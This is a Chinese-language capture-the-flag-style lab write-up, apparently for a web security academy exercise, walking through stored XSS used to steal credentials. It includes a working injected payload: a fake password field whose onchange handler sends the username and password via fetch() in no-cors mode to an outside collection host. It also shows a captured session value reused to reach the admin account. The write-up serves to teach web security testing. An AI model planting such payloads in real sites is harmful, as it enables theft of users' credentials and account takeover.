# Cross-site scripting Lab23 本題是 Stored XSS + Credential Theft,邏輯跟上一題「偷 Cookie」類似,只是這次我們要偷的是帳號密碼(username & password)。 一樣先進入網站。  在填表單前,我們先進去拿我們的子網域,等等收取回傳資料需要。 ``` rmh3ark21vdrmjvevrdzv7yn9ef633rs.oastify.com ``` 複製好後,我們去提交表單來偷資料。 ```javascript <input name=username id=username> <input type=password name=password onchange="if(this.value.length)fetch('https://dm3padko1hddm5v0vddlvty990ft3jr8.oastify.com', { method: 'POST', mode: 'no-cors', body: username.value + ':' + this.value });"> ``` - `<input name=username id=username>` 建立一個 input 欄位,我們之後從這裡拿使用者輸入的帳號。 - `<input type=password ... onchange=...>` 當使用者輸入密碼(密碼欄變動時),就觸發事件送出資料。 - `fetch(...)` 把 username 和 password 組成字串後傳給我們的 Burp Collaborator。 - `mode: 'no-cors'` 不觸發瀏覽器 CORS 限制,能安靜地傳資料。   ``` hhBjWEHQKe4QtAGh5t015xHOYYq7BJdQ ``` 把這組 Cookie 寫入請求中的 Cookie 值,來嘗試進入 admin 帳號。    ---
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up